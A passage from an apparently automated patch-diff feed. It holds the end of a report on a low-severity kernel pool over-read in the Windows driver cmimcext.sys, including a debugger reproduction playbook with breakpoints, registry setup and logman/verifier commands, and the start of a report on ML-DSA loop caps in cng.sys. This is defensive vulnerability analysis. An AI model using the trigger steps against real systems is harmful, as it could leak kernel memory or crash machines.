&lt;p&gt;Note: only the security-relevant fragments of &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; are reproduced here; the remainder is pool-freeing and list teardown logic (&lt;code&gt;ExFreePoolWithTag&lt;/code&gt; calls at &lt;code&gt;0x1c0007160&lt;/code&gt;/&lt;code&gt;0x1c0007172&lt;/code&gt;/&lt;code&gt;0x1c0007183&lt;/code&gt; in the unpatched build, fail-fast &lt;code&gt;int 0x29&lt;/code&gt; at &lt;code&gt;0x1c000726e&lt;/code&gt;, and the list-unlink at &lt;code&gt;0x1c0007142&lt;/code&gt;+).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the target interface.&lt;/strong&gt; &lt;code&gt;cmimcext.sys&lt;/code&gt; is a kernel-mode DLL loaded during OS initialization. The attack surface is the pair of exported routines &lt;code&gt;CmSetInitMachineConfig&lt;/code&gt; (&lt;code&gt;0x1c0009010&lt;/code&gt;) and &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; (&lt;code&gt;0x1c0007030&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Populate the configuration list.&lt;/strong&gt; &lt;code&gt;CmSetInitMachineConfig&lt;/code&gt; reads keys under &lt;code&gt;\REGISTRY\MACHINE\INITIALMACHINECONFIG&lt;/code&gt; (and related paths). At least one entry must produce a node whose key-name or value-name &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; is non-zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ensure ETW logging is enabled.&lt;/strong&gt; The globals &lt;code&gt;data_1c0003128&lt;/code&gt; bit 1 (key-flagged branch) and/or bit 2 (event template &lt;code&gt;0x1c0002210&lt;/code&gt;) must be set. These are populated by the ETW enable callback for the provider (&lt;code&gt;Microsoft-Windows-CoreSystem-InitMachineConfig&lt;/code&gt;, GUID at &lt;code&gt;data_1c0002258&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fire the sink.&lt;/strong&gt; Invoke &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt;. The unpatched binary has no feature gate in the loop and always passes the raw byte-lengths, so the old raw-byte path is always taken. Every non-empty node triggers an overread of up to its own &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; past the buffer allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect.&lt;/strong&gt; Without Special Pool the over-read is silent: adjacent PagedPool bytes are copied into the ETW event payload, observable only by a consumer of the &lt;code&gt;Microsoft-Windows-CoreSystem-InitMachineConfig&lt;/code&gt; trace session (an administrator-level operation). With Special Pool enabled for tag &lt;code&gt;'IMCP'&lt;/code&gt; (&lt;code&gt;0x50434d49&lt;/code&gt;), a name buffer placed at the end of a pool page has its guard page immediately after it, so the doubled read can fault and bugcheck instead of leaking. Both outcomes require the boot-time init path to run over an &lt;code&gt;INITIALMACHINECONFIG&lt;/code&gt; entry with a non-zero name length.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Type:&lt;/strong&gt; Out-of-bounds pool read, bounded by the buffer's own valid length, performed twice per node (once for key-name buffer, once for value-name buffer).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Size:&lt;/strong&gt; The over-read describes &lt;code&gt;2*Length&lt;/code&gt; bytes for a buffer allocated at &lt;code&gt;MaximumLength&lt;/code&gt;; the amount read past the allocation is &lt;code&gt;2*Length - MaximumLength&lt;/code&gt; (up to &lt;code&gt;Length&lt;/code&gt; bytes when &lt;code&gt;MaximumLength ≈ Length&lt;/code&gt;). It is not attacker-scalable beyond the string's own length.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Output channel:&lt;/strong&gt; The over-read bytes appear in the ETW event payload for the &lt;code&gt;Microsoft-Windows-CoreSystem-InitMachineConfig&lt;/code&gt; provider.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Reachability and impact bounds&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Not a low-privilege surface.&lt;/strong&gt; &lt;code&gt;CmSetInitMachineConfig&lt;/code&gt; and &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; are boot-time machine-configuration exports invoked during OS/setup initialization, not IOCTL handlers reachable from an unprivileged process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Input is administrator/setup-controlled.&lt;/strong&gt; The name lengths that drive the over-read come from &lt;code&gt;\REGISTRY\MACHINE\INITIALMACHINECONFIG&lt;/code&gt;; populating that hive already requires the privileges used during deployment/setup.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disclosure requires an admin consumer.&lt;/strong&gt; The leaked bytes only become visible to whoever consumes the &lt;code&gt;Microsoft-Windows-CoreSystem-InitMachineConfig&lt;/code&gt; trace session, which requires administrator rights.&lt;/li&gt;
&lt;li&gt;No privilege boundary is crossed by an unprivileged attacker, and the read is bounded and read-only. There is no demonstrable path from this bug to arbitrary read/write, KASLR defeat, or code execution. Microsoft nonetheless classifies it as a memory-safety defect worth servicing (&lt;code&gt;Feature_Servicing_IMCMemoryCorruptionFix_61262757&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;This playbook assumes WinDbg/KD attached to a target running &lt;code&gt;cmimcext_unpatched.sys&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cmimcext_unpatched!CmCompleteInitMachineConfig
bp cmimcext_unpatched!McTemplateK0hzr0hzr2
bp cmimcext_unpatched+0x70ad      ; vulnerable call site inside CmCompleteInitMachineConfig
bp cmimcext_unpatched+0x12e8      ; the doubling instruction inside the sink
bp cmimcext_unpatched+0x131b      ; call McGenEventWrite -&amp;gt; EtwWriteTransfer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breakpoint&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;Confirm &lt;code&gt;rbx&lt;/code&gt; is loaded from a non-empty list head at &lt;code&gt;CmpImcAllowEventQueueHead&lt;/code&gt; (&lt;code&gt;mov rbx, cs:CmpImcAllowEventQueueHead&lt;/code&gt; at &lt;code&gt;0x1c000705c&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x70ad&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The vulnerable call to &lt;code&gt;McTemplateK0hzr0hzr2&lt;/code&gt;. At this point the arguments are already in registers/on the stack and reflect unhalved byte lengths.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;McTemplateK0hzr0hzr2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The sink. &lt;code&gt;r9w&lt;/code&gt; holds the key-name byte length; the value-name byte length is passed on the stack (read at &lt;code&gt;[rbp+3Fh+arg_28]&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x12e8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The &lt;code&gt;add eax, eax&lt;/code&gt;. Single-step to see &lt;code&gt;eax&lt;/code&gt; double; compare against the buffer's &lt;code&gt;MaximumLength&lt;/code&gt; allocation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x131b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The final &lt;code&gt;call McGenEventWrite&lt;/code&gt; (→ &lt;code&gt;EtwWriteTransfer&lt;/code&gt;). The two &lt;code&gt;EVENT_DATA_DESCRIPTOR.Size&lt;/code&gt; values are already in place at frame slots &lt;code&gt;var_38&lt;/code&gt; and &lt;code&gt;var_18&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x70ad&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9w&lt;/code&gt; — key-name &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; in &lt;strong&gt;bytes&lt;/strong&gt; (e.g., &lt;code&gt;0x28&lt;/code&gt; = 40 bytes). Will be doubled.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;word [rsp+0x28]&lt;/code&gt; — value-name &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; in &lt;strong&gt;bytes&lt;/strong&gt;. Will be doubled.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qword [rsp+0x20]&lt;/code&gt; — key-name buffer pointer; run &lt;code&gt;!pool &amp;lt;addr&amp;gt;&lt;/code&gt; and read the allocation's &lt;code&gt;MaximumLength&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qword [rsp+0x30]&lt;/code&gt; — value-name buffer pointer; likewise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x12e8&lt;/code&gt; (inside sink):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eax&lt;/code&gt; just before &lt;code&gt;add eax, eax&lt;/code&gt; — equals &lt;code&gt;r9w&lt;/code&gt; from the caller.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eax&lt;/code&gt; just after — equals &lt;code&gt;2 * r9w&lt;/code&gt;. This becomes &lt;code&gt;EVENT_DATA_DESCRIPTOR.Size&lt;/code&gt; (stored to frame slot &lt;code&gt;var_38&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-check:&lt;/strong&gt;
  &lt;code&gt;!pool &amp;lt;key_name_buffer&amp;gt;&lt;/code&gt;
  Compare &lt;code&gt;2 * Length&lt;/code&gt; (the descriptor &lt;code&gt;Size&lt;/code&gt;) against the buffer's &lt;code&gt;MaximumLength&lt;/code&gt;. When &lt;code&gt;2 * Length &amp;gt; MaximumLength&lt;/code&gt;, the difference is the number of bytes read past the allocation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0007065&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loop body start (&lt;code&gt;cmp byte [rbx+0x10], dil&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000708d&lt;/code&gt;–&lt;code&gt;0x1c00070ad&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Vulnerable call setup. The patched binary inserts &lt;code&gt;call 0x1c000166c&lt;/code&gt; at &lt;code&gt;0x1c0007068&lt;/code&gt; and &lt;code&gt;shr cx,1&lt;/code&gt;/&lt;code&gt;shr r9w,1&lt;/code&gt; at &lt;code&gt;0x1c0007085&lt;/code&gt;/&lt;code&gt;0x1c0007092&lt;/code&gt; exactly here.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00012e8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The doubling &lt;code&gt;add eax, eax&lt;/code&gt; for key-name length. Unchanged in patch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0001309&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The doubling &lt;code&gt;add eax, eax&lt;/code&gt; for value-name length. Unchanged in patch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000131b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call McGenEventWrite (sub_1c000111c)&lt;/code&gt; → &lt;code&gt;EtwWriteTransfer&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup from user mode / debugger&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Populate the registry hive&lt;/strong&gt; so &lt;code&gt;CmSetInitMachineConfig&lt;/code&gt; will create nodes:
   &lt;code&gt;HKLM\INITIALMACHINECONFIG\&amp;lt;Key&amp;gt; = &amp;lt;value&amp;gt;&lt;/code&gt;
   Choose names whose &lt;code&gt;Length&lt;/code&gt; is a multiple of 2 and large enough to be interesting (e.g., 0x40 bytes).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable ETW&lt;/strong&gt; for the provider:
   &lt;code&gt;logman start "imc" -p {&amp;lt;GUID from data_1c0002258&amp;gt;} 0 0 -ets&lt;/code&gt;
   This sets the appropriate bits in &lt;code&gt;data_1c0003128&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force the driver to re-process:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reload the driver / re-init via the export. If only kernel callers can invoke &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; directly, induce it via the OS init path that consumes &lt;code&gt;INITIALMACHINECONFIG&lt;/code&gt; (e.g., Sysprep generalize, or any path that re-runs init-machine-config).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optional — Special Pool to confirm reproducibility:&lt;/strong&gt;
   &lt;code&gt;verifier /flags 0x1 /driver cmimcext.sys&lt;/code&gt;
   Then trigger. If a name buffer is placed at the end of a special-pool page, the doubled read reaches the guard page and faults.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Without Special Pool:&lt;/strong&gt; ETW events captured by the consumer contain &lt;code&gt;2 * Length&lt;/code&gt; bytes per name; when &lt;code&gt;2 * Length &amp;gt; MaximumLength&lt;/code&gt;, the tail of that data is pool bytes lying past the name buffer's allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;With Special Pool:&lt;/strong&gt; the read into the ETW buffer faults at the guard page immediately after the name buffer, producing a page-fault bugcheck at the copy. (The exact bugcheck code is not asserted here; it is whatever the memory manager raises for a read beyond a special-pool allocation.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Node layout (0x38 bytes, PagedPool, tag &lt;code&gt;'IMCP'&lt;/code&gt; = &lt;code&gt;0x50434d49&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Flink&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Blink&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;flag byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;key-name &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; (bytes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;key-name &lt;code&gt;MaximumLength&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;key-name &lt;code&gt;Buffer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x28&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;value-name &lt;code&gt;Length&lt;/code&gt; (bytes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;value-name &lt;code&gt;MaximumLength&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;value-name &lt;code&gt;Buffer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The key-name and value-name &lt;code&gt;Buffer&lt;/code&gt; allocations are &lt;strong&gt;separate&lt;/strong&gt; &lt;code&gt;ExAllocatePoolWithTag(PagedPool, MaximumLength, 'IMCP')&lt;/code&gt; calls — each &lt;code&gt;MaximumLength&lt;/code&gt; bytes, holding &lt;code&gt;Length&lt;/code&gt; valid bytes. The descriptor's &lt;code&gt;2*Length&lt;/code&gt; size over-reads up to &lt;code&gt;Length&lt;/code&gt; bytes past the valid data (crossing the allocation boundary when &lt;code&gt;2*Length &amp;gt; MaximumLength&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; (similarity 0.8867, security-relevant)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Inserted a call to &lt;code&gt;EvaluateCurrentState (sub_1c000166c)()&lt;/code&gt; at the top of the linked-list iteration loop. This helper is new in the patched build (inserted at &lt;code&gt;0x1c000166c&lt;/code&gt;, shifting the following functions down); it queries the servicing feature &lt;code&gt;Feature_Servicing_IMCMemoryCorruptionFix_61262757&lt;/code&gt; via &lt;code&gt;EvaluateFeature&lt;/code&gt; and returns non-zero when the fix is enabled.&lt;/li&gt;
&lt;li&gt;Added a conditional halving of the node's &lt;code&gt;+0x18&lt;/code&gt; and &lt;code&gt;+0x28&lt;/code&gt; fields (&lt;code&gt;shr cx,1&lt;/code&gt;, &lt;code&gt;shr r9w,1&lt;/code&gt;) before invoking &lt;code&gt;McTemplateK0hzr0hzr2 (sub_1c00012a0)&lt;/code&gt;, so that the sink's internal doubling reproduces the correct byte count.&lt;/li&gt;
&lt;li&gt;The legacy (still-vulnerable) raw-byte path is preserved for the case where &lt;code&gt;EvaluateCurrentState (sub_1c000166c)()&lt;/code&gt; returns 0. This is the retained old code path that makes the change a staged rollout rather than an unconditional fix.&lt;/li&gt;
&lt;li&gt;The patched build adds the feature-descriptor global &lt;code&gt;g_Feature_Servicing_IMCMemoryCorruptionFix_61262757_FeatureDescriptorDetails&lt;/code&gt; (referenced by &lt;code&gt;EvaluateCurrentState&lt;/code&gt; at &lt;code&gt;0x1c0001670&lt;/code&gt;/&lt;code&gt;0x1c000167c&lt;/code&gt;), which is not present in the unpatched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Cosmetic / register-allocation differences within the same function (e.g., the patched version shuffles &lt;code&gt;cl&lt;/code&gt;/&lt;code&gt;r9w&lt;/code&gt; reads to accommodate the new halving) are not enumerated separately; they are a direct consequence of the same logical change.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No other functions changed. The remaining 39 matched functions are byte-identical.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None reported by the matcher. Note that the feature-gate helper &lt;code&gt;EvaluateCurrentState (sub_1c000166c)&lt;/code&gt; is present only in the patched build; it is inserted at &lt;code&gt;0x1c000166c&lt;/code&gt; and shifts the subsequent functions (e.g., &lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt;, previously at &lt;code&gt;0x1c000166c&lt;/code&gt;, moves to &lt;code&gt;0x1c0001698&lt;/code&gt;). This is a relocation of unchanged code, not a removal.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rationale:
- The doubling &lt;code&gt;add eax, eax&lt;/code&gt; is unambiguous in the disassembly and is preserved verbatim in the patched binary.
- The &lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; semantics (bytes) are documented and confirmed by &lt;code&gt;ImpAddAllowListEvent (sub_1c00098a8)&lt;/code&gt;, which allocates the buffers to &lt;code&gt;MaximumLength&lt;/code&gt; bytes and copies &lt;code&gt;Length&lt;/code&gt; valid bytes via &lt;code&gt;RtlCopyUnicodeString&lt;/code&gt;.
- The patched caller's halving matches the sink's multiplication factor one-to-one, leaving no other plausible explanation for the change.&lt;/p&gt;
&lt;p&gt;Assumptions / items to verify before committing to a PoC:
1. &lt;strong&gt;Caller of &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt;.&lt;/strong&gt; The function is exported, so user-mode or other-driver invocation is plausible in principle, but the actual trigger path observed in production is via OS initialization consuming &lt;code&gt;\REGISTRY\MACHINE\INITIALMACHINECONFIG&lt;/code&gt;. Verify the call chain with &lt;code&gt;x cmimcext!*&lt;/code&gt; and static cross-references to the export.
2. &lt;strong&gt;ETW mask bits.&lt;/strong&gt; The conditions gating the logging branches (&lt;code&gt;data_1c0003128&lt;/code&gt; bits 1 and 2) are populated by the ETW enable callback. Confirm that enabling the trace session actually sets these bits in the target build.
3. &lt;strong&gt;&lt;code&gt;EvaluateCurrentState (sub_1c000166c)&lt;/code&gt; semantics.&lt;/strong&gt; The patched binary always invokes it, but it is a feature-staging gate (&lt;code&gt;Feature_Servicing_IMCMemoryCorruptionFix_61262757&lt;/code&gt;); when that servicing feature is not enabled it returns 0 and the patched binary still takes the legacy raw-byte path. The fix is therefore active only when the feature is rolled out. Confirm experimentally that the patched driver's ETW events actually carry correctly sized descriptors under the target feature-enablement state.
4. &lt;strong&gt;Feature enablement.&lt;/strong&gt; Because the corrective halving is gated behind &lt;code&gt;Feature_Servicing_IMCMemoryCorruptionFix_61262757&lt;/code&gt;, the patched binary still runs the over-reading path when that feature is not enabled at runtime. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns "apply fix" when the cached feature state (&lt;code&gt;[rax]&lt;/code&gt; at &lt;code&gt;0x1c0001683&lt;/code&gt;) is not equal to 1.
5. &lt;strong&gt;Severity.&lt;/strong&gt; The rating is &lt;strong&gt;Low&lt;/strong&gt;: the over-read is bounded by the name's own length, read-only, reached only through boot-time initialization exports over admin/setup-controlled &lt;code&gt;INITIALMACHINECONFIG&lt;/code&gt; input, and observable only by an administrator-level ETW consumer. No unprivileged attacker crosses a privilege boundary, and no arbitrary-read/write, KASLR-defeat, or code-execution path is demonstrable.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>cng.sys — Defensive iteration caps on two ML-DSA rejection-sampling loops (SymCryptMlDsaRejBoundedPoly and SymCryptMlDsaRejNttPoly), CWE-835, low severity, fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cng_84a39377-cng-report-20260628-172451.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/cng_84a39377-cng-report-20260628-172451.html</id><summary type="html">&lt;p&gt;KB5077179&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cng_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cng_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9625&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 1552 matched functions, 85 changed functions, 1467 identical functions, 0 unmatched functions in either direction.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a hard iteration cap to an ML-DSA (FIPS 204 module-lattice post-quantum signature) rejection-sampling loop in the statically-linked SymCrypt library. The unpatched loop only terminates when the accepted-coefficient counter reaches 256, and that counter advances only on accepted samples. If every sample were rejected the loop would spin forever. That code pattern (a loop whose exit condition depends solely on making progress) genuinely exists in the unpatched build and is genuinely bounded in the patched build. However, the reject condition is gated by the ML-DSA &lt;code&gt;eta&lt;/code&gt; bound, which is a compile-time constant taken from one of three static parameter tables and is not attacker-controlled. The change is therefore a defensive robustness hardening (CWE-835, loop with a potentially unreachable exit condition), not the remotely triggerable high-severity kernel DoS originally posited. Severity is &lt;strong&gt;Low&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The patch applies the &lt;em&gt;same&lt;/em&gt; CWE-835 iteration-cap pattern to a second SymCrypt function, &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; (unpatched &lt;code&gt;@ 0x180096CEC&lt;/code&gt;, patched &lt;code&gt;@ 0x18009AA84&lt;/code&gt;), which rejection-samples the NTT-domain coefficients of the public matrix &lt;code&gt;A&lt;/code&gt;. This second instance is documented in section 7a below. Its reachability differs in one important way: the seed that keys the SHAKE-128 stream driving the loop is the ML-DSA &lt;code&gt;rho&lt;/code&gt; value, which comes directly from an attacker-supplied public-key blob (via &lt;code&gt;BCryptImportKeyPair&lt;/code&gt;), not from a fixed compile-time table. Even so, forcing pathological rejection would require biasing the SHAKE-128 output distribution, which is computationally infeasible, so this instance is also &lt;strong&gt;Low&lt;/strong&gt; severity. Both instances share CWE-835 and the overall verdict remains a low-severity defensive fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (defensive hardening; not reachable with attacker-controlled input)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; CWE-835 — Loop with unreachable exit condition (potential infinite loop)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;cng!SymCryptMlDsaRejBoundedPoly @ 0x180096B4C&lt;/code&gt; (Unpatched), &lt;code&gt;@ 0x18009A8C0&lt;/code&gt; (Patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; squeezes bytes from a SHAKE/Keccak sponge and performs rejection sampling to generate the 256 bounded coefficients of an ML-DSA secret polynomial. In the unpatched build the loop terminates only when the output coefficient counter (&lt;code&gt;edi&lt;/code&gt;) reaches &lt;code&gt;0x100&lt;/code&gt; (256), and that counter increments only when a sample is accepted (&lt;code&gt;0x180096C7F&lt;/code&gt; and &lt;code&gt;0x180096CA4&lt;/code&gt;, each guarded by a &lt;code&gt;!= 0x80&lt;/code&gt; test).&lt;/p&gt;
&lt;p&gt;Acceptance is gated by the ML-DSA &lt;code&gt;eta&lt;/code&gt; bound, a byte read at &lt;code&gt;[r14+0x16]&lt;/code&gt; (offset &lt;code&gt;+0x16&lt;/code&gt; of the internal parameters structure, &lt;code&gt;0x180096BE5&lt;/code&gt;). Each squeezed byte is split into two 4-bit nibbles; each nibble is mapped to a centered coefficient in &lt;code&gt;[-eta, eta]&lt;/code&gt;, and out-of-range nibbles are set to the &lt;code&gt;0x80&lt;/code&gt; sentinel (&lt;code&gt;0x180096C2E&lt;/code&gt; for the first nibble, &lt;code&gt;0x180096C60&lt;/code&gt; for the second) marking a rejected sample. The code paths compare &lt;code&gt;eta&lt;/code&gt; only against &lt;code&gt;2&lt;/code&gt; and &lt;code&gt;4&lt;/code&gt; (&lt;code&gt;0x180096BEE&lt;/code&gt; and the &lt;code&gt;cmp al, bl&lt;/code&gt; at &lt;code&gt;0x180096C17&lt;/code&gt;, where &lt;code&gt;bl = 4&lt;/code&gt;). If &lt;code&gt;eta&lt;/code&gt; held any other value, both nibbles would be forced to &lt;code&gt;0x80&lt;/code&gt; on every iteration, &lt;code&gt;edi&lt;/code&gt; would never increment, and the &lt;code&gt;while (edi &amp;lt; 